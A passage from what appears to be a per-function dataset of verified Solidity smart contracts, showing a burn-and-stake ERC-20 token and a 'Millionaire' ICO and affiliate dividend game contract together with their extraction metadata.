_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_executeTransfer(from, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success)
{
_allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _mint(address account, uint256 value) internal
{
require(value != 0);
uint256 initalBalance = _balances[account];
uint256 newBalance = initalBalance.add(value);
_balances[account] = newBalance;
_totalSupply = _totalSupply.add(value);
//update full units staked
if(!excludedFromStaking[account])
{
uint256 fus_total = fullUnitsStaked_total;
fus_total = fus_total.sub(toFullUnits(initalBalance));
fus_total = fus_total.add(toFullUnits(newBalance));
fullUnitsStaked_total = fus_total;
}
emit Transfer(address(0), account, value);
}
function burn(uint256 value) external
{
_burn(msg.sender, value);
}
function burnFrom(address account, uint256 value) external
{
require(value <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
}
function _burn(address account, uint256 value) internal
{
require(value != 0);
require(value <= _balances[account]);
uint256 initalBalance = _balances[account];
uint256 newBalance = initalBalance.sub(value);
_balances[account] = newBalance;
_totalSupply = _totalSupply.sub(value);
//update full units staked
if(!excludedFromStaking[account])
{
uint256 fus_total = fullUnitsStaked_total;
fus_total = fus_total.sub(toFullUnits(initalBalance));
fus_total = fus_total.add(toFullUnits(newBalance));
fullUnitsStaked_total = fus_total;
}
emit Transfer(account, address(0), value);
}
/*
* transfer with additional burn and stake rewards
* the receiver gets 98% of the sent value
* 2% are split to be burnt and distributed to holders
*/
function _executeTransfer(address from, address to, uint256 value) private
{
require(value <= _balances[from]);
require(to != address(0) && to != address(this));
//Update sender and receivers rewards - changing balances will change rewards shares
updateRewardsFor(from);
updateRewardsFor(to);
uint256 twoPercent = value.mul(2).div(100);
//set a minimum burn rate to prevent no-burn-txs due to precision loss
if(twoPercent == 0 && value > 0)
twoPercent = 1;
uint256 initalBalance_from = _balances[from];
uint256 newBalance_from = initalBalance_from.sub(value);
value = value.sub(twoPercent);
uint256 initalBalance_to = _balances[to];
uint256 newBalance_to = initalBalance_to.add(value);
//transfer
_balances[from] = newBalance_from;
_balances[to] = newBalance_to;
emit Transfer(from, to, value);
//update full units staked
uint256 fus_total = fullUnitsStaked_total;
if(!excludedFromStaking[from])
{
fus_total = fus_total.sub(toFullUnits(initalBalance_from));
fus_total = fus_total.add(toFullUnits(newBalance_from));
}
if(!excludedFromStaking[to])
{
fus_total = fus_total.sub(toFullUnits(initalBalance_to));
fus_total = fus_total.add(toFullUnits(newBalance_to));
}
fullUnitsStaked_total = fus_total;
uint256 amountToBurn = twoPercent;
if(fus_total > 0)
{
uint256 stakingRewards = twoPercent.div(2);
//split up to rewards per unit in stake
uint256 rewardsPerUnit = stakingRewards.div(fus_total);
//apply rewards
_totalRewardsPerUnit = _totalRewardsPerUnit.add(rewardsPerUnit);
_balances[address(this)] = _balances[address(this)].add(stakingRewards);
emit Transfer(msg.sender, address(this), stakingRewards);
amountToBurn = amountToBurn.sub(stakingRewards);
}
//update total supply
_totalSupply = _totalSupply.sub(amountToBurn);
emit Transfer(msg.sender, address(0), amountToBurn);
}
//catch up with the current total rewards. This needs to be done before an addresses balance is changed
function updateRewardsFor(address staker) private
{
_savedRewards[staker] = viewUnpaidRewards(staker);
_totalRewardsPerUnit_positions[staker] = _totalRewardsPerUnit;
}
//get all rewards that have not been claimed yet
function viewUnpaidRewards(address staker) public view returns (uint256)
{
if(excludedFromStaking[staker])
return _savedRewards[staker];
uint256 newRewardsPerUnit = _totalRewardsPerUnit.sub(_totalRewardsPerUnit_positions[staker]);
uint256 newRewards = newRewardsPerUnit.mul(fullUnitsStaked(staker));
return _savedRewards[staker].add(newRewards);
}
//pay out unclaimed rewards
function payoutRewards() public
{
updateRewardsFor(msg.sender);
uint256 rewards = _savedRewards[msg.sender];
require(rewards > 0 && rewards <= _balances[address(this)]);
_savedRewards[msg.sender] = 0;
uint256 initalBalance_staker = _balances[msg.sender];
uint256 newBalance_staker = initalBalance_staker.add(rewards);
//update full units staked
if(!excludedFromStaking[msg.sender])
{
uint256 fus_total = fullUnitsStaked_total;
fus_total = fus_total.sub(toFullUnits(initalBalance_staker));
fus_total = fus_total.add(toFullUnits(newBalance_staker));
fullUnitsStaked_total = fus_total;
}
//transfer
_balances[address(this)] = _balances[address(this)].sub(rewards);
_balances[msg.sender] = newBalance_staker;
emit Transfer(address(this), msg.sender, rewards);
}
//exchanges or other contracts can be excluded from receiving stake rewards
function excludeAddressFromStaking(address excludeAddress, bool exclude) public
{
require(msg.sender == contractOwner);
require(excludeAddress != address(this)); //contract may never be included
require(exclude != excludedFromStaking[excludeAddress]);
updateRewardsFor(excludeAddress);
excludedFromStaking[excludeAddress] = exclude;
fullUnitsStaked_total = exclude ? fullUnitsStaked_total.sub(fullUnitsStaked(excludeAddress)) : fullUnitsStaked_total.add(fullUnitsStaked(excludeAddress));
}
//withdraw tokens that were sent to this contract by accident
function withdrawERC20Tokens(address tokenAddress, uint256 amount) public
{
require(msg.sender == contractOwner);
require(tokenAddress != address(this));
IERC20(tokenAddress).transfer(msg.sender, amount);
}
} | withdrawERC20Tokens | function withdrawERC20Tokens(address tokenAddress, uint256 amount) public
{
require(msg.sender == contractOwner);
require(tokenAddress != address(this));
IERC20(tokenAddress).transfer(msg.sender, amount);
}
| //withdraw tokens that were sent to this contract by accident | LineComment | v0.5.8+commit.23d335f2 | None | bzzr://dd4a32b48751203f705ec9126afeb6fa19606b270a62d88f896dd8d55c436cb0 | {
"func_code_index": [
11441,
11689
]
} | 6,949 |
||
Millionaire | Millionaire.sol | 0x98bdbc858822415c626c13267594fbc205182a1f | Solidity | Millionaire | contract Millionaire is MillionaireInterface,Milevents {
using SafeMath for *;
using MFCoinsCalc for uint256;
//==============================================================================
// _ _ _ |`. _ _ _ |_ | _ _ .
// (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings)
//=================_|===========================================================
string constant private name_ = "Millionaire Official";
uint256 constant private icoRndMax_ = 2 weeks; // ico max period
uint256 private icoEndtime_; // ico end time
uint256 private icoAmount_; // ico eth amount;
uint256 private sequence_; // affiliate id sequence
bool private activated_; // mark contract is activated;
bool private icoEnd_; // is ico ended;
MilFoldInterface public milFold_; // milFold contract
MilAuthInterface constant private milAuth_ = MilAuthInterface(0xf856f6a413f7756FfaF423aa2101b37E2B3aFFD9);
uint256 public globalMask_; // use to calc player gen
uint256 public mfCoinPool_; // MFCoin Pool
uint256 public totalSupply_; // MFCoin current supply
address constant private fundAddr_ = 0xB0c7Dc00E8A74c9dEc8688EFb98CcB2e24584E3B; // foundation address
uint256 constant private REGISTER_FEE = 0.01 ether; // register affiliate fees
uint256 constant private MAX_ICO_AMOUNT = 3000 ether; // max tickets you can buy one time
mapping(address => uint256) private balance_; // player coin balance
mapping(uint256 => address) private plyrAddr_; // (id => address) returns player id by address
mapping(address => Mildatasets.Player) private plyr_; // (addr => data) player data
//==============================================================================
// _ _ _ _|. |`. _ _ _ .
// | | |(_)(_||~|~|(/_| _\ . (these are safety checks)
//==============================================================================
/**
* @dev used to make sure no one can interact with contract until it has
* been activated.
*/
modifier isActivated() {
require(activated_ == true, "its not ready start");
_;
}
/**
* @dev prevents contracts from interacting with Millionare
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
/**
* @dev sets boundaries for incoming tx
*/
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 0.1 ether, "must > 0.1 ether");
_;
}
/**
* @dev check sender must be devs
*/
modifier onlyDevs()
{
require(milAuth_.isDev(msg.sender) == true, "msg sender is not a dev");
_;
}
/**
* @dev default buy set to ico
*/
function()
public
isActivated()
isHuman()
isWithinLimits(msg.value)
payable
{
icoCore(msg.value);
}
/**
* @dev buy MFCoin use eth in ico phase
*/
function buyICO()
public
isActivated()
isHuman()
isWithinLimits(msg.value)
payable
{
icoCore(msg.value);
}
function icoCore(uint256 _eth) private {
if (icoEnd_) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
} else {
if (block.timestamp > icoEndtime_ || icoAmount_ >= MAX_ICO_AMOUNT) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
icoEnd_ = true;
milFold_.activate();
emit onICO(msg.sender, 0, 0, MAX_ICO_AMOUNT, icoEnd_);
} else {
uint256 ethAmount = _eth;
if (ethAmount + icoAmount_ > MAX_ICO_AMOUNT) {
ethAmount = MAX_ICO_AMOUNT.sub(icoAmount_);
plyr_[msg.sender].eth = _eth.sub(ethAmount);
}
icoAmount_ = icoAmount_.add(ethAmount);
uint256 converts = ethAmount.mul(65)/100;
uint256 pot = ethAmount.sub(converts);
//65% of your eth use to convert MFCoin
uint256 buytMf = buyMFCoins(msg.sender, converts);
//35% of your eth use to pot
milFold_.addPot.value(pot)();
if (icoAmount_ >= MAX_ICO_AMOUNT) {
icoEnd_ = true;
milFold_.activate();
}
emit onICO(msg.sender, ethAmount, buytMf, icoAmount_, icoEnd_);
}
}
}
/**
* @dev withdraw all you earnings to your address
*/
function withdraw()
public
isActivated()
isHuman()
{
updateGenVault(msg.sender);
if (plyr_[msg.sender].eth > 0) {
uint256 amount = plyr_[msg.sender].eth;
plyr_[msg.sender].eth = 0;
msg.sender.transfer(amount);
emit onWithdraw(
msg.sender,
amount,
block.timestamp
);
}
}
/**
* @dev register as a affiliate
*/
function registerAff()
public
isHuman()
payable
{
require (msg.value >= REGISTER_FEE, "register affiliate fees must >= 0.01 ether");
require (plyr_[msg.sender].playerID == 0, "you already register!");
plyrAddr_[++sequence_] = msg.sender;
plyr_[msg.sender].playerID = sequence_;
fundAddr_.transfer(msg.value);
emit onNewPlayer(msg.sender,sequence_, block.timestamp);
}
function setMilFold(address _milFoldAddr)
public
onlyDevs
{
require(address(milFold_) == 0, "milFold has been set");
require(_milFoldAddr != 0, "milFold is invalid");
milFold_ = MilFoldInterface(_milFoldAddr);
}
function activate()
public
onlyDevs
{
require(address(milFold_) != 0, "milFold has not been set");
require(activated_ == false, "ICO already activated");
// activate the ico
activated_ = true;
icoEndtime_ = block.timestamp + icoRndMax_;
}
/**
* @dev external contracts interact with Millionare via investing MF Coin
* @param _addr player's address
* @param _affID affiliate ID
* @param _mfCoin eth amount to buy MF Coin
* @param _general eth amount assign to general
*/
function invest(address _addr, uint256 _affID, uint256 _mfCoin, uint256 _general)
external
isActivated()
payable
{
require(milAuth_.checkGameRegiester(msg.sender), "game no register");
require(_mfCoin.add(_general) <= msg.value, "account is insufficient");
if (msg.value > 0) {
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
// if affiliate not exist, assign affiliate to general, i.e. set affiliate to zero
uint256 _affiliate = msg.value.sub(_mfCoin).sub(_general);
if (tmpAffID > 0 && _affiliate > 0) {
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(_affiliate);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(_affiliate);
emit onAffiliatePayout(affAddr, _addr, _affiliate, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = _general.mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(_general);
}
updateGenVault(_addr);
buyMFCoins(_addr, _mfCoin);
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
}
/**
* @dev calculates unmasked earnings (just calculates, does not update mask)
* @return earnings in wei format
*/
function calcUnMaskedEarnings(address _addr)
private
view
returns(uint256)
{
uint256 diffMask = globalMask_.sub(plyr_[_addr].mask);
if (diffMask > 0) {
return diffMask.mul(balance_[_addr]).div(1 ether);
}
}
/**
* @dev updates masks for round and player when keys are bought
*/
function updateGenVaultAndMask(address _addr, uint256 _affID)
external
payable
{
require(msg.sender == address(milFold_), "no authrity");
if (msg.value > 0) {
/**
* 50/80 use to convert MFCoin
* 10/80 use to affiliate
* 20/80 use to general
*/
uint256 converts = msg.value.mul(50).div(80);
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
uint256 affAmount = 0;
if (tmpAffID > 0) {
affAmount = msg.value.mul(10).div(80);
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(affAmount);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(affAmount);
emit onAffiliatePayout(affAddr, _addr, affAmount, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = msg.value.sub(converts).sub(affAmount).mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(msg.value.sub(converts).sub(affAmount));
}
updateGenVault(_addr);
buyMFCoins(_addr, converts);
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
}
/**
* @dev game contract has been paid 20% amount for Millionaire and paid back now
*/
function clearGenVaultAndMask(address _addr, uint256 _affID, uint256 _eth, uint256 _milFee)
external
{
require(msg.sender == address(milFold_), "no authrity");
//check player eth balance is enough pay for
uint256 _earnings = calcUnMaskedEarnings(_addr);
require(plyr_[_addr].eth.add(_earnings) >= _eth, "eth balance not enough");
/**
* 50/80 use to convert MFCoin
* 10/80 use to affiliate
* 20/80 use to general
*/
uint256 converts = _milFee.mul(50).div(80);
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
uint256 affAmount = 0;
if (tmpAffID > 0) {
affAmount = _milFee.mul(10).div(80);
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(affAmount);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(affAmount);
emit onAffiliatePayout(affAddr, _addr, affAmount, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = _milFee.sub(converts).sub(affAmount).mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(_milFee.sub(converts).sub(affAmount));
}
updateGenVault(_addr);
buyMFCoins(_addr,converts);
plyr_[_addr].eth = plyr_[_addr].eth.sub(_eth);
milFold_.addPot.value(_eth.sub(_milFee))();
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
/**
* @dev moves any unmasked earnings to gen vault. updates earnings mask
*/
function updateGenVault(address _addr) private
{
uint256 _earnings = calcUnMaskedEarnings(_addr);
if (_earnings > 0) {
plyr_[_addr].mask = globalMask_;
plyr_[_addr].genTotal = plyr_[_addr].genTotal.add(_earnings);
plyr_[_addr].eth = plyr_[_addr].eth.add(_earnings);
} else if (globalMask_ > plyr_[_addr].mask) {
plyr_[_addr].mask = globalMask_;
}
}
/**
* @dev convert eth to coin
* @param _addr user address
* @return return back coins
*/
function buyMFCoins(address _addr, uint256 _eth) private returns(uint256) {
uint256 _coins = calcCoinsReceived(_eth);
mfCoinPool_ = mfCoinPool_.add(_eth);
totalSupply_ = totalSupply_.add(_coins);
balance_[_addr] = balance_[_addr].add(_coins);
emit onBuyMFCoins(_addr, _eth, _coins, now);
return _coins;
}
/**
* @dev sell coin to eth
* @param _coins sell coins
* @return return back eth
*/
function sellMFCoins(uint256 _coins) public {
require(icoEnd_, "ico phase not end");
require(balance_[msg.sender] >= _coins, "coins amount is out of range");
updateGenVault(msg.sender);
uint256 _eth = totalSupply_.ethRec(_coins);
mfCoinPool_ = mfCoinPool_.sub(_eth);
totalSupply_ = totalSupply_.sub(_coins);
balance_[msg.sender] = balance_[msg.sender].sub(_coins);
if (milAuth_.checkGameClosed(address(milFold_))) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
} else {
/**
* 10/100 transfer to pot
* 90/100 transfer to owner
*/
uint256 earnAmount = _eth.mul(90).div(100);
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(earnAmount);
milFold_.addPot.value(_eth.sub(earnAmount))();
}
emit onSellMFCoins(msg.sender, earnAmount, _coins, now);
}
/**
* @dev anyone winner of milfold will call this function
* @param _addr winner address
*/
function assign(address _addr)
external
payable
{
require(msg.sender == address(milFold_), "no authrity");
plyr_[_addr].eth = plyr_[_addr].eth.add(msg.value);
}
/**
* @dev If unfortunate the game has problem or has no winner at long time, we'll end the game and divide the pot equally among all MF users
*/
function splitPot()
external
payable
{
require(milAuth_.checkGameClosed(msg.sender), "game has not been closed");
uint256 delta = msg.value.mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
emit onGameClose(msg.sender, msg.value, now);
}
/**
* @dev returns ico info
* @return ico end time
* @return already ico summary
* @return ico phase is end
*/
function getIcoInfo()
public
view
returns(uint256, uint256, bool) {
return (icoAmount_, icoEndtime_, icoEnd_);
}
/**
* @dev returns player info based on address
* @param _addr address of the player you want to lookup
* @return player ID
* @return player eth balance
* @return player MFCoin
* @return general vault
* @return affiliate vault
*/
function getPlayerAccount(address _addr)
public
isActivated()
view
returns(uint256, uint256, uint256, uint256, uint256)
{
uint256 genAmount = calcUnMaskedEarnings(_addr);
return (
plyr_[_addr].playerID,
plyr_[_addr].eth.add(genAmount),
balance_[_addr],
plyr_[_addr].genTotal.add(genAmount),
plyr_[_addr].affTotal
);
}
/**
* @dev give _eth can convert how much MFCoin
* @param _eth eth i will give
* @return MFCoin will return back
*/
function calcCoinsReceived(uint256 _eth)
public
view
returns(uint256)
{
return mfCoinPool_.keysRec(_eth);
}
/**
* @dev returns current eth price for X coins.
* @param _coins number of coins desired (in 18 decimal format)
* @return amount of eth needed to send
*/
function calcEthReceived(uint256 _coins)
public
view
returns(uint256)
{
if (totalSupply_ < _coins) {
return 0;
}
return totalSupply_.ethRec(_coins);
}
function getMFBalance(address _addr)
public
view
returns(uint256) {
return balance_[_addr];
}
} | function()
public
isActivated()
isHuman()
isWithinLimits(msg.value)
payable
{
icoCore(msg.value);
}
| /**
* @dev default buy set to ico
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://19344f09337febac2ce136703d5a2e1deb14f3d31e0b173b4d29c86dd14c2bed | {
"func_code_index": [
3272,
3440
]
} | 6,950 |
||||
Millionaire | Millionaire.sol | 0x98bdbc858822415c626c13267594fbc205182a1f | Solidity | Millionaire | contract Millionaire is MillionaireInterface,Milevents {
using SafeMath for *;
using MFCoinsCalc for uint256;
//==============================================================================
// _ _ _ |`. _ _ _ |_ | _ _ .
// (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings)
//=================_|===========================================================
string constant private name_ = "Millionaire Official";
uint256 constant private icoRndMax_ = 2 weeks; // ico max period
uint256 private icoEndtime_; // ico end time
uint256 private icoAmount_; // ico eth amount;
uint256 private sequence_; // affiliate id sequence
bool private activated_; // mark contract is activated;
bool private icoEnd_; // is ico ended;
MilFoldInterface public milFold_; // milFold contract
MilAuthInterface constant private milAuth_ = MilAuthInterface(0xf856f6a413f7756FfaF423aa2101b37E2B3aFFD9);
uint256 public globalMask_; // use to calc player gen
uint256 public mfCoinPool_; // MFCoin Pool
uint256 public totalSupply_; // MFCoin current supply
address constant private fundAddr_ = 0xB0c7Dc00E8A74c9dEc8688EFb98CcB2e24584E3B; // foundation address
uint256 constant private REGISTER_FEE = 0.01 ether; // register affiliate fees
uint256 constant private MAX_ICO_AMOUNT = 3000 ether; // max tickets you can buy one time
mapping(address => uint256) private balance_; // player coin balance
mapping(uint256 => address) private plyrAddr_; // (id => address) returns player id by address
mapping(address => Mildatasets.Player) private plyr_; // (addr => data) player data
//==============================================================================
// _ _ _ _|. |`. _ _ _ .
// | | |(_)(_||~|~|(/_| _\ . (these are safety checks)
//==============================================================================
/**
* @dev used to make sure no one can interact with contract until it has
* been activated.
*/
modifier isActivated() {
require(activated_ == true, "its not ready start");
_;
}
/**
* @dev prevents contracts from interacting with Millionare
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
/**
* @dev sets boundaries for incoming tx
*/
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 0.1 ether, "must > 0.1 ether");
_;
}
/**
* @dev check sender must be devs
*/
modifier onlyDevs()
{
require(milAuth_.isDev(msg.sender) == true, "msg sender is not a dev");
_;
}
/**
* @dev default buy set to ico
*/
function()
public
isActivated()
isHuman()
isWithinLimits(msg.value)
payable
{
icoCore(msg.value);
}
/**
* @dev buy MFCoin use eth in ico phase
*/
function buyICO()
public
isActivated()
isHuman()
isWithinLimits(msg.value)
payable
{
icoCore(msg.value);
}
function icoCore(uint256 _eth) private {
if (icoEnd_) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
} else {
if (block.timestamp > icoEndtime_ || icoAmount_ >= MAX_ICO_AMOUNT) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
icoEnd_ = true;
milFold_.activate();
emit onICO(msg.sender, 0, 0, MAX_ICO_AMOUNT, icoEnd_);
} else {
uint256 ethAmount = _eth;
if (ethAmount + icoAmount_ > MAX_ICO_AMOUNT) {
ethAmount = MAX_ICO_AMOUNT.sub(icoAmount_);
plyr_[msg.sender].eth = _eth.sub(ethAmount);
}
icoAmount_ = icoAmount_.add(ethAmount);
uint256 converts = ethAmount.mul(65)/100;
uint256 pot = ethAmount.sub(converts);
//65% of your eth use to convert MFCoin
uint256 buytMf = buyMFCoins(msg.sender, converts);
//35% of your eth use to pot
milFold_.addPot.value(pot)();
if (icoAmount_ >= MAX_ICO_AMOUNT) {
icoEnd_ = true;
milFold_.activate();
}
emit onICO(msg.sender, ethAmount, buytMf, icoAmount_, icoEnd_);
}
}
}
/**
* @dev withdraw all you earnings to your address
*/
function withdraw()
public
isActivated()
isHuman()
{
updateGenVault(msg.sender);
if (plyr_[msg.sender].eth > 0) {
uint256 amount = plyr_[msg.sender].eth;
plyr_[msg.sender].eth = 0;
msg.sender.transfer(amount);
emit onWithdraw(
msg.sender,
amount,
block.timestamp
);
}
}
/**
* @dev register as a affiliate
*/
function registerAff()
public
isHuman()
payable
{
require (msg.value >= REGISTER_FEE, "register affiliate fees must >= 0.01 ether");
require (plyr_[msg.sender].playerID == 0, "you already register!");
plyrAddr_[++sequence_] = msg.sender;
plyr_[msg.sender].playerID = sequence_;
fundAddr_.transfer(msg.value);
emit onNewPlayer(msg.sender,sequence_, block.timestamp);
}
function setMilFold(address _milFoldAddr)
public
onlyDevs
{
require(address(milFold_) == 0, "milFold has been set");
require(_milFoldAddr != 0, "milFold is invalid");
milFold_ = MilFoldInterface(_milFoldAddr);
}
function activate()
public
onlyDevs
{
require(address(milFold_) != 0, "milFold has not been set");
require(activated_ == false, "ICO already activated");
// activate the ico
activated_ = true;
icoEndtime_ = block.timestamp + icoRndMax_;
}
/**
* @dev external contracts interact with Millionare via investing MF Coin
* @param _addr player's address
* @param _affID affiliate ID
* @param _mfCoin eth amount to buy MF Coin
* @param _general eth amount assign to general
*/
function invest(address _addr, uint256 _affID, uint256 _mfCoin, uint256 _general)
external
isActivated()
payable
{
require(milAuth_.checkGameRegiester(msg.sender), "game no register");
require(_mfCoin.add(_general) <= msg.value, "account is insufficient");
if (msg.value > 0) {
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
// if affiliate not exist, assign affiliate to general, i.e. set affiliate to zero
uint256 _affiliate = msg.value.sub(_mfCoin).sub(_general);
if (tmpAffID > 0 && _affiliate > 0) {
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(_affiliate);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(_affiliate);
emit onAffiliatePayout(affAddr, _addr, _affiliate, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = _general.mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(_general);
}
updateGenVault(_addr);
buyMFCoins(_addr, _mfCoin);
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
}
/**
* @dev calculates unmasked earnings (just calculates, does not update mask)
* @return earnings in wei format
*/
function calcUnMaskedEarnings(address _addr)
private
view
returns(uint256)
{
uint256 diffMask = globalMask_.sub(plyr_[_addr].mask);
if (diffMask > 0) {
return diffMask.mul(balance_[_addr]).div(1 ether);
}
}
/**
* @dev updates masks for round and player when keys are bought
*/
function updateGenVaultAndMask(address _addr, uint256 _affID)
external
payable
{
require(msg.sender == address(milFold_), "no authrity");
if (msg.value > 0) {
/**
* 50/80 use to convert MFCoin
* 10/80 use to affiliate
* 20/80 use to general
*/
uint256 converts = msg.value.mul(50).div(80);
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
uint256 affAmount = 0;
if (tmpAffID > 0) {
affAmount = msg.value.mul(10).div(80);
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(affAmount);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(affAmount);
emit onAffiliatePayout(affAddr, _addr, affAmount, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = msg.value.sub(converts).sub(affAmount).mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(msg.value.sub(converts).sub(affAmount));
}
updateGenVault(_addr);
buyMFCoins(_addr, converts);
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
}
/**
* @dev game contract has been paid 20% amount for Millionaire and paid back now
*/
function clearGenVaultAndMask(address _addr, uint256 _affID, uint256 _eth, uint256 _milFee)
external
{
require(msg.sender == address(milFold_), "no authrity");
//check player eth balance is enough pay for
uint256 _earnings = calcUnMaskedEarnings(_addr);
require(plyr_[_addr].eth.add(_earnings) >= _eth, "eth balance not enough");
/**
* 50/80 use to convert MFCoin
* 10/80 use to affiliate
* 20/80 use to general
*/
uint256 converts = _milFee.mul(50).div(80);
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
uint256 affAmount = 0;
if (tmpAffID > 0) {
affAmount = _milFee.mul(10).div(80);
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(affAmount);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(affAmount);
emit onAffiliatePayout(affAddr, _addr, affAmount, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = _milFee.sub(converts).sub(affAmount).mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(_milFee.sub(converts).sub(affAmount));
}
updateGenVault(_addr);
buyMFCoins(_addr,converts);
plyr_[_addr].eth = plyr_[_addr].eth.sub(_eth);
milFold_.addPot.value(_eth.sub(_milFee))();
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
/**
* @dev moves any unmasked earnings to gen vault. updates earnings mask
*/
function updateGenVault(address _addr) private
{
uint256 _earnings = calcUnMaskedEarnings(_addr);
if (_earnings > 0) {
plyr_[_addr].mask = globalMask_;
plyr_[_addr].genTotal = plyr_[_addr].genTotal.add(_earnings);
plyr_[_addr].eth = plyr_[_addr].eth.add(_earnings);
} else if (globalMask_ > plyr_[_addr].mask) {
plyr_[_addr].mask = globalMask_;
}
}
/**
* @dev convert eth to coin
* @param _addr user address
* @return return back coins
*/
function buyMFCoins(address _addr, uint256 _eth) private returns(uint256) {
